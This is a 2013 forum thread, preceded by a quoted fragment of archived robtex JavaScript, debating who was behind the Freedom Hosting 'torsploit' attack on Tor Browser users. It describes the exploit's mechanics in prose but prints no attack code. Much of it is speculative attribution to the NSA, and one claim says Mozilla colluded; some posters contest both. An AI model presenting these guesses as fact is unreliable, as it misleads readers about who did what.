	y=y.replace(/(\/as\/.*html)$/,'$1#asinfo');
}


	if(y!=x)
	{
		location.replace(y);
	}

} catch(err) {}



}

correcturl();

var ndashfixed=0;
function ndashfix()
{

	if(rtsakd!='l') return;
	if(ndashfixed) return;

	{


	if(window.innerHeight)
{
		setStyleByClass('div','ndbar','height',window.innerHeight+'px');
}


		ndashfixed++;
	}
}


function shide(x) {
if(x==9) return 1;
return !1;
}

function shide2(x) {
if(x==0) return 1;
return !1;
}

function dofluff()
{
if(!fluffed)
{
fluffed=1;
try{document.getElementById('xnt728').innerHTML=(datauri?"\x0a\x3ciframe src=\"javascript:\x27\\x3cscript type=\\x22text/javascript\\x22 language=\\x22JavaScript\\x22\\x3e\\n\\x3c\\x21\\x2d\\x2d\\n google_adtest = \\x27off\\x27;\\n google_ad_client = \\x27ca\\x2drobtex_728x90\\x27;\\n google_hints=\\x27nsa.gov\\x27;google_ad_channel = \\x278339559518\\x27;\\n google_ad_width = 728;\\n google_ad_height = 90;\\n google_ad_format = \\x27728x90_pas_abgc\\x27;\\n  google_color_bg = \\x27ffffff\\x27;\\n google_color_border = \\x27ffffff\\x27;\\n google_ad_type = \\x27text,image,flash,html\\x27;\\n google_alternate_ad_url = \\x22/web/20130624003743/http://www.robtex.com/ext/ads /bugoban.html\\x22;\\n google_encoding = \\x27utf8\\x27;\\n google_safe = \\x27medium\\x27;\\n\\n// \\x2d\\x2d\\x3e\\x3c/sc\
ript\\x3e\\n\\x3cscript type=\\x22text/javascript\\x22 language=\\x22JavaScript\\x22 src=\\x22/web/20130624003743/http://pagead2.googlesyndication.com/pagead/ show_ads.js\\x22\\x3e\\n\\x3c/script\\x3 e\\n\\x3cnoscript\\x3e\\n\\x3cimg height=\\x221\\x22 width=\\x221\\x22 border=\\x220\\x22 src=\\x22/web/20130624003743/http://pagead2.googlesyndication.com/pagead/imp.gif\\x3fclient= ca\\x2drobtex_728x90\\x26amp;\\x26event=noscript\\x22/\\x3e\\n\\  x3c/noscript\\x3e\\n\\n\x27\" width=\x27728\x27 height=\x2790\x27 scrolli ng=\x27no\x27 frameborder=\x270\x27 marginwidth=\x270\x27 marginheight=\x270\




<!--
     FILE ARCHIVED ON 0:37:43 Jun 24, 2013 AND RETRIEVED FROM THE
     INTERNET ARCHIVE ON 9:15:03 Aug 7, 2013.
     JAVASCRIPT APPENDED BY WAYBACK MACHINE, COPYRIGHT INTERNET ARCHIVE.

     ALL OTHER CONTENT MAY ALSO BE PROTECTED BY COPYRIGHT (17 U.S.C.
     SECTION 108(a)(3)).

A quick read through doesn't show anything useful (although the "censored/uncensored" stuff is a bit creepy, albeit entirely unrelated to this research). Perhaps someone reading this can pull useful data from it; we couldn't. And we looked elsewhere for some sort of snapshotting tool for historical IP allocation data - one would think such a tool must exist - but we came up empty-handed. Again, someone reading this may well have better knowledge here.

Let's pause and catch our breath, shall we?

Ok, better.

Since then, there have been a number of excellent analyses posted of the IP attribution situation (for example, here). We're all looking at the robtext reports, now, and - although seeing that mysterious "Base" category on the left-hand side, not seeing the block of IPs covering 65.192.0.0/11 to 65.222.202.53 "rolled up" directly to nsa.gov. And, well to be blunt, that's something a number of sets of eyes saw early Monday morning - 5 August 2013 EST. Which leaves two options, as far as we can make of it:

1. We simply read the robtex report wrong early Monday morning... all of us. As we've said throughout - and Baneki has separately echoed - this is terrain we know, but can't claim to be strutting big dogs in. It's just specialized enough, as Baneki's rep told Kevin Poulsen, that it takes a particular person with particular experience to confidently read and not miss a thing. And, indeed, we said that early Monday am ourselves, in a tweet before we published anything:

peersupport.png (11.52 KiB) Viewed 127193 times

After Kevin raised his question, we reached out actively to other researchers - as did Baneki - to help get to the bottom of things. That's been, at least partially, successful - the SAIC issue seems resolved, if nothing else. That's how good research, and good peer interactions, work: it's a team project, always. We don't think we have all the answers, certainly not when it comes to this level of technical forensic analysis of IP allocation. Then again, after the last 2 days' schooling, we're alot further along in such subjects!

2. The spooky option we've been nodding at throughout this over-long essay: the robtext report on Monday morning - the one we as a team reviewed, and Baneki reviewed, and or outside colleague read to provide the IM snapshot cited above - was different materially than the one that was seen by, first to our notice, Kevin Poulsen and perhaps others. Looking back at the edits we've done to our original post in this thread, there was previously a screenshot... but it was added several hours after the original post. Unfortunately. We've scrambled and scraped, looked behind the cushions in our sofas, and we just don't have an earlier screenshot. Which, in hindsight, was supremely dumb.

Did the second scenario happen? Were there different results being shown by robtex - who, after all, dynamically generates reports based on external datasets (witness the javascript-heavy code thrown up by archive.org as a "snapshot" of a June robtex report: it's just a wrapper around data pulled in from elsewhere) - Monday morning and earlier, which then updated sometime before noon EST Monday? We don't have anything definitive to back that assertion... and we may never have it. But we've got some niggling suspicions, pieces that don't add up when we've compared our notes, a sense that the flow of events Monday morning took a "jag" at some point. Frankly, we'd be happier if it turns out we just didn't read the robtex report correctly - that's an error, and errors happen before being corrected. If there was an on-the-fly record of (ARIN?) datasets Monday am when someone realised the torsploit IPs were being publicly interrogated... that's spooky. Far from impossible to imagine, but frankly scary.
~ ~ ~ Throughout Sunday evening, our team was watching the torsploit story unfold, and waiting expectantly for someone to dig into those IP addresses (we'd only seen the "catcher" in the js, and learned later there's also the "pitcher" right next to it in IP-space, in the iframe inject js itself) with high-powered forensic tools. D0x them, basically. Remember, everyone was printing that the "FBI" had run this show - and as far as we've been able to source, there's not one tangible shred of evidence backing that statement. It's assumption of the most raw sort: seems to make sense, and they're not denying it, so there you go. Which sometimes is fine, and sometimes can end up blocking off the view of something much more important. Once we realised there was no basis - zero - to the "FBI" attribution, we started counting down until someone asked that IP address to share its secrets with the world.

But... "somebody" didn't appear, and when we did simple domaintools.com runs against it, spooky stuff came back. We dug deeper, as best we were able, and reached out to others to help. The data we got back, we ran by our entire team - independently of each other - to ensure we all saw the same thing. We did. We put it out for the community to poke at, and asked for peer review by subject matter experts. From there, we (and we include Baneki in this) benefited from the sharp eyes and experience of folks like Kevin Poulsen, and as things unfolded more details came clear. But, not all of them. Not entirely. Many questions remain unanswered, presently... more than you can shake a stick at without getting pretty tired of doing the shaking.

Where does that leave us, and why does it matter?

Were left hoping that someone's clever enough to pull archival snapshots of the robtex reports - or the underlying data that fed them - from the time period before approx 8am EST Monday 5 August. It just seems like they must exist someplace. Or perhaps someone can gut-check whether it'd be possible to push through an ARIN IP update on short notice, like that - say, for example, if you were the NSA or some other spook shop and you realised that, for whatever reason, an IP uncomfortably close to home was being poked at by folks outside the walls. (this would, of course, obviate the "shot across the bow" theory proposed by PJ, here, and covered quite luridly by Business Insider... no offence intended, BI - lurid isn't boring!)

It certainly doesn't seem beyond the realm of possible, to us, for such to be done. Did it happen here? We don't yet know, although to repeat we've no hard data to independently confirm what we can best describe as our well-informed, educated hunch.

That's where we're at. Why does it matter?

It matters because this is an unprecedented escalation of cyberwar tactics and technologies into a decidedly non-cyberwar, civilian landscape. How so? Simple: we all know the FBI can and does backdoor all sorts of stuff. And we all know about wiretaps, and CALEA, and the many ways targets can get banged. We know about the FBI and other Feds in the USA taking down servers and gaining access to them by various means. There's even a case where the FBI took over and ran a child porn website for several weeks (!!!)... this is all admitted, confirmed stuff. And the DEA? Yeah, the DEA. They'll use most anything. But - and it's a big but - these are without exception deployments of tech against specific civilian targets.

The past examples that get closer to the line are the aforementioned FBI-run CP site, and the Darkmarket sting (covered nicely by none other than Kevin Poulsen - small world) in which the FBI ran a carder's forum for many months and used their inside access to the forum - including a "VPN service" created from scratch as an FBI honeypot - to take down dozens of big-name carder community stalwarts. But let's be clear - in these cases no clever tech was used. They were more or less social engineering exercises: the FBI shows up, gets someone to flip, uses their admin credentials to take over the infrastructure, and targets people making use of it.

What's different about torsploit? WIth torsploit, you have to mix in the use of offensive intrusion tech - that's what the js is, an injection - and some nontrivial memory jump trickery via an 0day (or something damned close to an 0day, in any case). This isn't rocket science tech - heck, we know a few folks who have told us quite honestly that they could write cleaner js exploit code than what they see here - but it's still offensive tech. That's not typical FBI shit - not at all.

That's not typical any-domestic-U.S.-LEO shit. Not. At. All.

However, we all know that the NSA has such tools - and far more - at their fingertips. Follow the TAO: Alexander the Geeks personal "cyber army," running thousands deep. We know they're involved in domestic stuff far, far more than they were admitting to anyone prior to Snowden's revelations. This js exploit would be less than child's play to them - a throwaway 'splot, as earlier posters suggest it appears from an ex post facto strategic modelling perspective.

We know the NSA tracks Tor - no secret there - and we know domestic U.S. LEOs have a collective stiffie over the idea of hitting Tor hard, and also tossing heavy FUD on it so people use it less... and thus run plaintext more, and are easier to surveil as a direct result. Would they bring in the big guns of the NSA, to run this show?

Would they not? Would the FBI - or even Interpol - want to get into the business of coding (or buying) 0day rootkits... and also installing them, running C&C, etc? This is far outside of their domain expertise. And this wasn't a one-off gig: this took some tech admin skill, to manage the entire Freedom Host hidden services infrastructure - if only for a couple of days, and do it well enough to fool at least some people into visiting and thus being fingerprinted. It's not rocket science, but they don't teach Tor hidden services admin and malware construction in Quantico, do they? Not last we heard.

Nope, they'd have every incentive to bring in the big guns: NSA. And Alexander the Geek sure as fuck isn't going to say no. Hell, it's even outside the USA (although thus far only the US has brought a case against someone, who is in fact a US citizen) - so he can pretend it's legal, whether it is or isn't doesn't matter. With his budget, and ego, and grasping thirst for power - would he say "no" if he knew this was in the works: a chance to hit Tor hard, at its core, and send a chilling message to darknetters everywhere?

Fuck no, he'd jump on that hard. Likely, he did.

What's the downside? Congress is going to de-fund him? Ha! He's got some scalps from (alleged) kiddie porn traders. See what the NSA is doing - protecting the children! It's literally a perfect opportunity for the NSA to step to the plate.

And it matters because, if this was the NSA, then we're in an entirely new phase of the game. Now, we know it's not just that LEO might go for more-or-less technically passive attacks: they'll offensive reach out, and infect stuff, en masse. No joke. Not just if you're Osama Bin Laden. Nope. If you're Silk Road (or its vendors or customers), look the fuck out: Alexander's on your ass, and he's got a few billion to burn... with plenty of desire to show how his fancy new toys look in action.

As privacy technologists, we at Cryptocloud are in the business of providing real security tools to real people to use each and every day. We do threat modelling, first and foremost, based on actual threats our customers face in the wild, today and in the near future - because if you try to protect against all possible threats, you actually protect against none. That involves lots of judgement calls on our part - is traffic analysis a real threat yet (nope), or is clean client code and anti-leak tech a more relevant issue (yes, by far) - and that's a big part of the service we're providing. It means we're intensively monitoring the visible threat landscape, tracking what's being done and taking proactive steps to protect our customers from real, tangible threats.

It also means that, much as it's fun to talk about theoretical threats, in practical terms they're heavily deprecated in our actual process work running the secure network. Van Eck scrapes are cool, no doubt... but they're not a big risk for our customers in tangible, daily terms. Far worse is an unreliable/overly-complex network that drops at just the wrong time, and leaves someone exposed when they thought they were safe. For example. Ahem.

And this torsploit gambit, it changes that balance in very tangible terms. It means that theoretical attacks like this - which of course were used by some malware but not in a systematic, broad way by any LEO we've ever heard of, anywhere in the world, prior to this - jump from theoretical space deep into tangible, practical concerns. And if it represents a class of new attack models - more offensive, more aggressive, more tech-heavy, more blatant - then we all need to do some serious thinking about how we defend folks against them, for real, in the wild.

Whether this ever is formally attributed to the NSA - we've seen enough fingerprints that we're operating as if it is, in terms of our decisions about customer protection strategies, end of story - or remains a nebulous "LEO" attack, the fact remains: this is NSA-style stuff, and it's not a theory any more. Be ready, or be a victim.

~ Cryptocloud Team

thepacketrat · Post by **thepacketrat** » Wed Aug 07, 2013 7:52 pm

Hi, Sean Gallagher of Ars here.

The screenshot was taken during my conversation with Baneki.

Pattern_Juggled · Post by **Pattern_Juggled** » Wed Aug 07, 2013 8:04 pm

thepacketrat wrote:Hi, Sean Gallagher of Ars here.

The screenshot was taken during my conversation with Baneki.

Thanks, Sean - that certainly helps narrow down some windows. Once I wrap some unrelated statistical work to be done today, I'll push some edits into the approval queue for the above Cryptocloud post, incorporating that new data point.

Cheers,

guest · Post by **guest** » Wed Aug 07, 2013 8:22 pm

Baneki wrote:Finally, there's the question of what's going to happen with the payloads sent to 65.222.202.54... because it appears that at least some payloads were successfully exfiltrated prior to it being (apparently) offlined. A few options are obvious...

i. it's the FBI running torsploit, and they're typing up indictments in partnership with their local AUSA, just as fast as they can | if true, we'll know when the indictments hit the street, since they can't be kept secret or anyhow not very long;

ii. it's the NSA doing it, and they're going to hand the intel to the FBI (or other goons), who via "parallel construction" will generate fake stories to hand to credulous judges as to how they came to "magically" catch so many Tor users doing dodgy things | this seems, well unlikely, because everyone's now watching the whole "parallel construction" thing so closely and in any case, the FH takedown was public so anyone getting an indictment related to it is going to want to see, via discovery, what happened... either that, or we're missing some deeper level version of this option;

iii. it's all psyops FUD, in which case nothing whatsoever public is done with the exfiltrated data since it was all intended as a scare/terror campaign, in any case | theoretically, this would be proven out if, well, nothing happens... but that's not necessarily true, since it could be it was intended as something other than FUD but, via some fuck-up (see above for many places where fuck-ups could have occurred; also "fog of war," etc.), the exfiltrated fingerprint data now is radioactive and can't be used for whatever it was intended to be used for;

iv. it wasn't government goons at all behind torsploit but rather some sort of private/corporate vigilante (the mysterious "pizza shop" we've referenced earlier), and the concomitant overlap (or inferred overlap, to be fair) of torsploit with the FH takedown is mere correlation rather than implying any causal relationship whatsoever | in this case, one would expect to see some sort of public "outing" of the targets who were fingerprinted, along the lines of Sabu's "OpDarkNet" shenanigans (note relevance to current circumstances).

An important thing to keep in mind regarding the question of what will, and can, be done with the results of this exploit: since the malware was apparently distributed through all FH sites (at least, that's my understanding), there seems to be no way for whoever receives these data to find out what page the user was trying to access. If those data are intended to be used in a criminal investigation against pedophiles or drug dealers, this is a major problem. Since FH undoubtedly also hosted legal services (Tormail, for instance), how can they ever build a case on this? It seems to me that these data can only be used to direct further investigations, because the obtained data is, in itself, not incriminating. Or am I missing something?

pr0tox · Post by **pr0tox** » Wed Aug 07, 2013 9:47 pm

Baneki wrote:5b. We more or less assume that "people" would have noticed the creepy js iframes even before the FH takedown... but would they? Would off-the-shelf AV/malware scanners be able to poke their noses into torified sessions, on a local machine, and flag this stuff? Were signature files even including it prior to the FH takedown, given that it was - although reported by Mozilla in June and patched in non-ER releases - functionally an 0day? (the TBB was still including FF 17 in it; in that sense, this is an 0day because the actual package in question - TBB - wasn't available off the shelf in a patched version... although others are contesting the use of the 0day term in this context, it's more or less applicable, we conclude)

Baneki wrote:7. Pior to the public "outing" of torsploit - thanks to the good analytic work of malware researchers, reverse engineers, and de-obfuscators (some of whom are cited in earlier posts - all kudos to them!) - let's say that U is the percent of folks accessing Tor hidden services were using the unpatched FF 17 available in the TBB being distributed. After all the publicity, that percentage has dropped to P. Anyone have any hard metrics on what U and P might be, respectively? We can say that P will never be zero - although it may approach zero asymptotically over time (it is likely a monotonic trajectory, given all the publicly, absent some clever effort to re-inject the old FF 17 into the ecosystem by someone, which seems unlikely). But, there's still P% of Tor users out there with unpatched kit, and thus vulnerable to torsploit.

Pattern_Juggled wrote:The Tor folks have taken alot of heat (also here), and it's about 95% unfair since this is a Firefox bug, after all. The 5% is because TBB didn't include the most current, patched Firefox version...

Did I miss something? According to Tor Project, the latest (updated and released 6-26-2013) Tor Browser Bundle *did* include FF version 17.0.7esr (https://blog.torproject.org/blog/new-to ... a-packages), which was the patched version of v17esr (the vulnerable version). v17.0.7esr patched the exploit used in the attack so all users that updated their TBB should have been safe, regardless of JS or OS. The patched TBB was updated the *day after* the bug report / patch was made public on Bugzilla. So... again... did I miss something? Or is this just mis-reporting? Whether or not users update their software should not sit solely on the shoulders of Mozilla or Tor Project.

Also, just for clarification... the use of "0day" here is contested only because the use of the exploit at the time we suspect it was used (specifically, after the vulnerability was known and subsequently patched through Mozilla) would mean that the exploit was *not* a true 0day. 0days -- in the strict sense -- are previously *unknown* exploits. I'm sure this is no surprise to most people here, but that should clarify the disagreement. However, if (as some suspect but is yet unknown) the exploit was deployed *prior* to the patching of the vuln by Mozilla, then it *would* be considered a 0day. Still... the vuln was so close to the patch date (within a month or so) that many users may not have considered it a time-sensitive priority to update their software. They would have been wrong. To this extent, the vuln could be coined an "effective 0day" since it was "largely unknown" but not "ultimately unknown". Regardless, it was dangerously close.

What I want to know is how the NSA / FBI got ahold of the exploit if it was handled in private between Nils and Mozilla, or if more entities than Nils and Mozilla had access to the exploit code pre-patch.

pr0tox · Post by **pr0tox** » Wed Aug 07, 2013 10:14 pm

Pattern_Juggled wrote:In other words, this is a browser leak - or, if you prefer to call it that, a Tor leak. Mostly semantics, there.

One major, serious downside of using Tor (in my personal opinion, to be clear - but this is not as heretical as it might sound to heavy Tor devotees) is that it prefers to operate through individual applications, rather than via the OS or at the network stack or via a virtual NIC or any other way of essentially wrapping all applications inside a comms channel that is in some way secured or protected. That, unfortunately, binds Tor's security level to each and every application making use of it... and we've seen, with torsploit, that there's downsides to that. (yes, you can make Tor run down at the OS level, but it's not intended for that and not designed for that and Tor folks have given public talks strongly discouraging that, fwiw)

To give some additional clarity to this... perhaps I can offer the information.

1) I would refrain from accepting "Tor leak" as acceptable reference to Torsploit, as unpopular as it may be. The vulnerability doesn't arise from the Tor network itself ("Tor"), it comes almost exclusively from the Tor Browser (custom-built Firefox ESR). If you want to get picky, the issue is really a combined leak between the browser and network layer, since the identity leak was potentially preventable at both.

2) Yes -- there are downsides to routing traffic discretely through applications ("torifying") IF you don't have a killswitch and external routing setup at the network layer (VPN, transparent proxy, etc.), but the benefits typically outweigh the drawbacks. Specifically, Tor is best suited for TCP traffic, not general IP traffic, especially when over cleranet. TCP packets contain far fewer specific / unique details of the source, so they are more strictly anonymous. General IP traffic contains a *TON* of information which could be used to deanonymize a packet stream -> source -> user. This why so many people torify AFTER routing through privoxy in a chroot environment -- which can (if configured to do so) scrub some details from your packet stream and provide an additional hop between your LAN and Tor.

Tricky · Post by **Tricky** » Wed Aug 07, 2013 10:17 pm

Whoever it was - is brilliant...

Thank you for sharing your research here.

another_guest · Post by **another_guest** » Wed Aug 07, 2013 10:21 pm

guest wrote: An important thing to keep in mind regarding the question of what will, and can, be done with the results of this exploit: since the malware was apparently distributed through all FH sites (at least, that's my understanding), there seems to be no way for whoever receives these data to find out what page the user was trying to access. If those data are intended to be used in a criminal investigation against pedophiles or drug dealers, this is a major problem. Since FH undoubtedly also hosted legal services (Tormail, for instance), how can they ever build a case on this? It seems to me that these data can only be used to direct further investigations, because the obtained data is, in itself, not incriminating. Or am I missing something?

It would be pretty easy to also record the url they were trying to reach. I think the malware transmitted data including a unique server key, so that could contain other information from the server including the url.

However, I think you raise a really good point that is the key to understanding the operation. It sounds like all users accessing any hidden service on the host were served the maintenance page containing the exploit.

If the FBI wanted to collect identifying information, then I would have expected them to put it behind a login page, and probably just target the worst sites. So the user would type in username/password, wait, they go to the "maintenance" page, and the exploit runs. Now they have the user identified in the real world, and they can look at the server & forum logs to see what they have done in the past using that login information (uploaded images, for instance). That's a slam-dunk case to take to the USAA.

On the other hand, with the maintenance screen appearing as soon as you tried to load ANY page, then I question how effective it could be in a law enforcement context. All they know is that you ran TOR, and tried to connect to a URL. One could claim that alone is enough if the site they were going to is bad enough, but I think that's a much worse case to try to prosecute.

Why would law enforcement pick the worse choice for prosecutions? This leads me to believe this is case iii: either psyops, or a botched investigation.

A couple other things that sound like psyops to me. This was a quick and dirty job, possibly done in as little as 4 weeks. They didn't bother to obscure the IP, or use a less traceable one. It's a fairly limited attack, targeting only a specific ff versions on windows using js. From what people say, the js is workable, but not really all that amazing. It's a sorta-zero day, that already was fixed on many versions. It's possible they even got the zero day from reading the ff fix itself. It looks like they had to have control of the server before they could run it. They only managed to run it for a couple days before it was identified and ripped apart and analyzed.

I think the NSA heard that the FBI was going to seize the host, and they leaped at the chance to fire this scary shot at everyone running TOR. They exposed and used up a zero day they knew was of little or no operational value in the future. They got very little investigative information out of it, but that wasn't the focus.

Whatever the case, this strongly implies what has already been suggested: the NSA is working very closely with FBI, DEA, etc. on cybercrime, especially with regard to TOR.

pr0tox · Post by **pr0tox** » Wed Aug 07, 2013 10:22 pm

guest wrote:An important thing to keep in mind regarding the question of what will, and can, be done with the results of this exploit: since the malware was apparently distributed through all FH sites (at least, that's my understanding), there seems to be no way for whoever receives these data to find out what page the user was trying to access.

Not necessarily -- we don't know how the UUID was generated so we do *NOT* know if the UUID was referrer or source specific. So, it would be safe to assume that the attacker knows exactly what site the user visited, which generated the UUID and the two are readily correlated. Especially since it is suspected that the malware was implanted at the server level -- *lots* of logging could have been simultaneously taking place to help correlate the requested server resource (perhaps even other requested resources on other servers / .onion sites within the same host...), the UUID and the non-Tor IP / MAC transmitted stream. It's not safe to assume that this was not within the attacker's capabilities.

inquisitor · Post by **inquisitor** » Wed Aug 07, 2013 10:56 pm

This is all a very interesting study in security. I have two points I want to bring to mention. First of, in relation to those questions:

Baneki wrote:
5. Specifically relating to FH, is there any way to be sure this wasn't in fact injected into these server-side processes (injection isn't the technically accurate word, but it'll do for now) prior to the publicly visible takedown of FH? That is, what about this scenario: the alleged "owner" of FH was contacted earlier and, under duress, required to allow for the installation of the sever-side torsploit package(s). This could be N days prior to the publicly visible offlining of FH. Is there any way to be sure that torsploit wasn't running on FH prior to the public takedown?

5b. We more or less assume that "people" would have noticed the creepy js iframes even before the FH takedown... but would they? Would off-the-shelf AV/malware scanners be able to poke their noses into torified sessions, on a local machine, and flag this stuff? Were signature files even including it prior to the FH takedown, given that it was - although reported by Mozilla in June and patched in non-ER releases - functionally an 0day? (the TBB was still including FF 17 in it; in that sense, this is an 0day because the actual package in question - TBB - wasn't available off the shelf in a patched version... although others are contesting the use of the 0day term in this context, it's more or less applicable, we conclude)

6. Is there any reason to assume that torsploit wasn't in use in the wild before the Bugzilla report was published in June? Sure, it wasn't as easy as looking up the report to develop an attack based on it... but NSA-level attackers obviously don't need to rely solely (or even primarily, or even tangentially) on Bugzilla reports or CVE notices to build their kit! This 0day could have been a "negative-day" for weeks or months prior, known and exploited by the attacker but not noticed in the wild by anyone else.

6b. In this scenario, people would have noticed it on FH only after the highly public takedown (and offlining for several days) of FH; perhaps the attackers hoped people would be sloppy and not notice the torscript js even after the takedown.... but that seems a stretch. If anything, one must assume that it would absolutely be noticed after the visible offlining... in which case what happened is that someone fucked up and left torsploit live on FH even after the offlining, not making the conclusive jump in time that it was sure to be noticed. At which point, alas, the cat is out of the bag and it's been noted - and thus added to malware sigfiles, discussed publicly, etc. Exploit burned - game over (this round, anyhow)

The take-down of FH was done in cooperation with the FBI. But the torsploit seems to be the doing of SAIC (or possibly the NSA). It might be that SAIC or NSA had deployed the torsploit quit some time ago, but without the knowledge of the FBI. It is, then, not to difficult to imagine a miscommunication between the agencies leading to the code not being removed when the servers were seized. It would probably not be the first case, and most likely not the last either, of different agencies interfering with each others work.

Of course, if the torsploit was intended for long term use, the question raises again why the obfuscation was not done better. This brings me to my second point. Assuming that this was indeed the work of some governmental agency, we have to assume that whoever is responsible for it is a world expert on this stuff. Therefore, it seems more sensible to assume the didn't mind the exploit getting burned (this would explain why they left a hard-coded IP address in it), either because it was only intended for short term use or because it is a PSYOP.

But then another question rises: why did they do any obfuscating at all? If it were a PSYOP, there certainly is no need for obfuscation since the program is intended to found. And if it was intended as a short term exploit, just to grab as much information as possible, it would not improve the gathered amount. The exploit can be considered burned as soon as it is realized that there is an invisible iframe with obfuscated js, not just when it is understood what the code does.

Thus, why did they go through the trouble of doing quit elaborate obfuscation, but not as good as they could? Either no obfuscating or extremely advanced obfuscating seem the two only logical choices. In what situation would SAIC/NSA/FBI benefit from half-assed obfuscation?

Badboy · Post by **Badboy** » Thu Aug 08, 2013 12:44 am

I always run a vpn first and then open TOR whenever I use it (which is rarely) but I'm not sure if that would keep my ip safe from an exploit like this. I always assumed it would but when it comes to Java exploits I'm totally in the dark.

It seems to me like there are two possible reasons for this attack. First I find it very plausible that the NSA already knew who owned Freedom Hosting. In fact I think the owner claimed he became worried when he read about the Snowden leaks and then started researching Russian Visa's thinking he might flee. Incredibly convenient time for the authorities to suddenly figure out who he was and make an arrest.

I think the NSA knows that what they're doing is very illegal and unconstitutional and perhaps they're going to go on a rampage using the system for all it's worth while they can. As usual, they'll just break the law as much as they want to get an arrest and then apologize for it after. But unless convictions are overturned and the parties responsible are put in jail for circumventing the constitution nothing will change. It'll just be a game of political musical chairs and all the people they screwed over will remain in prison. They figured out long ago that whether it's invading a country, overthrowing a government, bombing a thousand people to kill one suspect, or misapplying the law like at the G20 in Toronto it's all good so long as you're done what you needed to do by the time the truth catches up with you.

Secondly it seems this may have also been more of a pr campaign. "Yes we're invading everyone's privacy and turning the world into an Orwellian state but look at all the children we've saved from being exploited!" You've got a problem with using dirty tricks to go after pedo's?! Unfortunately this kind of propaganda works on an alarming number of people. Every time the American government does something awful they always find a boogeyman to garner public support.

Badboy · Post by **Badboy** » Thu Aug 08, 2013 1:51 am

I would also like to point out that this appears to be the second time that Firefox has "accidentally" done something that allowed their browser to be exploited by a third party in the name of fighting child porn. The fist time it was a little more targeted but also a little more obvious someone at Mozilla was in on it. This time it was an entire host rather then one website.

In_The_Clouds · Post by **In_The_Clouds** » Thu Aug 08, 2013 5:57 am

An interesting picture....

Uploaded with ImageShack.us

Dynamoo · Post by **Dynamoo** » Thu Aug 08, 2013 2:02 pm

inquisitor wrote:The take-down of FH was done in cooperation with the FBI. But the torsploit seems to be the doing of SAIC (or possibly the NSA). It might be that SAIC or NSA had deployed the torsploit quit some time ago, but without the knowledge of the FBI. It is, then, not to difficult to imagine a miscommunication between the agencies leading to the code not being removed when the servers were seized. It would probably not be the first case, and most likely not the last either, of different agencies interfering with each others work.

There is zero evidence that SAIC or the NSA have anything to do with it. The IP addresses in question are not allocated to SAIC (or indeed anyone). SAIC merely have the first few IPs of the /24 block. Other neighbours include the Walt Disney Corporation and a riding school. The available evidence merely points to it being a large-ish organisation physically located in the DC or VA areas.

Of course, if the torsploit was intended for long term use, the question raises again why the obfuscation was not done better. This brings me to my second point. Assuming that this was indeed the work of some governmental agency, we have to assume that whoever is responsible for it is a world expert on this stuff. Therefore, it seems more sensible to assume the didn't mind the exploit getting burned (this would explain why they left a hard-coded IP address in it), either because it was only intended for short term use or because it is a PSYOP.

I think it was only intended as a short term exploit because it was going to get burned pretty quickly. But remember, the IP address is just a Verizon Business one, there's nothing to link it back to the end customer. So why should they care? They burned 65.222.202.48/29 along with the exploit.

But then another question rises: why did they do any obfuscating at all? If it were a PSYOP, there certainly is no need for obfuscation since the program is intended to found. And if it was intended as a short term exploit, just to grab as much information as possible, it would not improve the gathered amount. The exploit can be considered burned as soon as it is realized that there is an invisible iframe with obfuscated js, not just when it is understood what the code does.

If you are going to do a PSYOP then you'd have the IP address range slap bang in the middle of a block clearly allocated to the NSA, FBI, CIA or whatever. The only reason why these IPs are being connected with SAIC is through a misinterpretation of the data. And honestly, if you were the FBI or some other government agency.. why wouldn't you just be collecting the data instead? It seems the simplest explanation.

Thus, why did they go through the trouble of doing quit elaborate obfuscation, but not as good as they could? Either no obfuscating or extremely advanced obfuscating seem the two only logical choices. In what situation would SAIC/NSA/FBI benefit from half-assed obfuscation?

Because the obfuscation is good enough to not link it to a specific agency. And there's no such thing as "extremely advanced obfuscation" of Javascript, its an interpreted language after all. And remember, the more you obfuscate, the more suspicious the script looks to AV scanners.

As I keep saying, the available evidence appears to indicate that the FBI or some other agency worked out the physical location and/or owner of Freedom Hosting (they could have been posing as a potential customer and made contact that way). FH was busted by local law enforcement (Garda in Ireland, don't know where the servers are) in cooperation with the FBI (or whoever). The FBI (or maybe a contractor or some other agency) gained access to the FH servers and added the torsploit code which did indeed collect data of the users of FH's sites and report it back to a corporation or agency based in the DC or VA area.

It could be the FBI. It could be the NSA or CIA. It could well be a multi-agency taskforce because if Tormail is involved then that's the sort of thing that intelligence services would love to rummage through. If FH were hosting child abuse images, then it basically would have been the trojan horse that law enforcement (FBI, Garda) could have used to crack open the FH data centre.

Pattern_Juggled · Post by **Pattern_Juggled** » Thu Aug 08, 2013 2:42 pm

In_The_Clouds wrote:An interesting picture....

There's a good post in the Ars comments detailling how sub-allocations of IPs work nowadays. Basically, the ARIN database is not authoritative beneath AS level (if I'm reading this, and summarizing it, correctly); sub-allocations need not be reported back to ARIN.

I've made several hefty posts in that comments thread, as well - starting with this one. I could pull them over into this thread, but it seems somehow tendentious to do so. If others think it breaks the narrative to have to jump back and forth between the two, I'll gladly pull 'em over... but I don't want to clutter things here, either, as there's several simultaneous sub-discussions going on here that are, to me and I suspect many other readers, quite fascinating.

Cheers,

Pattern_Juggled · Post by **Pattern_Juggled** » Thu Aug 08, 2013 2:50 pm

Dynamoo wrote:As I keep saying, the available evidence appears to indicate that the FBI or some other agency worked out the physical location and/or owner of Freedom Hosting (they could have been posing as a potential customer and made contact that way). FH was busted by local law enforcement (Garda in Ireland, don't know where the servers are) in cooperation with the FBI (or whoever). The FBI (or maybe a contractor or some other agency) gained access to the FH servers and added the torsploit code which did indeed collect data of the users of FH's sites and report it back to a corporation or agency based in the DC or VA area.

The dog that didn't bark? He's still not barking.

It's weird that we don't actually know, at this point in time, what the hell happened with FH and how they got to it. That's not how the usual pattern goes, not at all. Lots of assumptions - which, oddly, people seem really willing to take without any hard data to back them up - and zero in the way of confirmation of anything beyond one young man being arrested pending extradition, on FBI request.

The rest, in terms of attribution of the FH side of things (not torsploit, but the FH stuff pre-torsploit), is complete "someone said they heard from someone else that they just figured it looked like..." crap. And, again, that's now how these kinds of things (busts of servers, or hosters, or whatnot) go, not with the FBI. They crow, they issue press releases, they brag about how they got to the people involved. Here, it's radio silence.

There's a reason for that. We don't claim to know the reason - but it's unambiguous that there's a reason. And it's unambiguous that this example doesn't fit comfortably into the standard FBI pattern. At all.

My $0.02, your mileage may vary... particularly if you drive like a maniac.

Cheers,

Dynamoo · Post by **Dynamoo** » Thu Aug 08, 2013 3:38 pm

There's no smoking gun directly linking the FH takedown with the Torspoit attack, true. But there's an affinity between these two events that would make them slot nicely together.

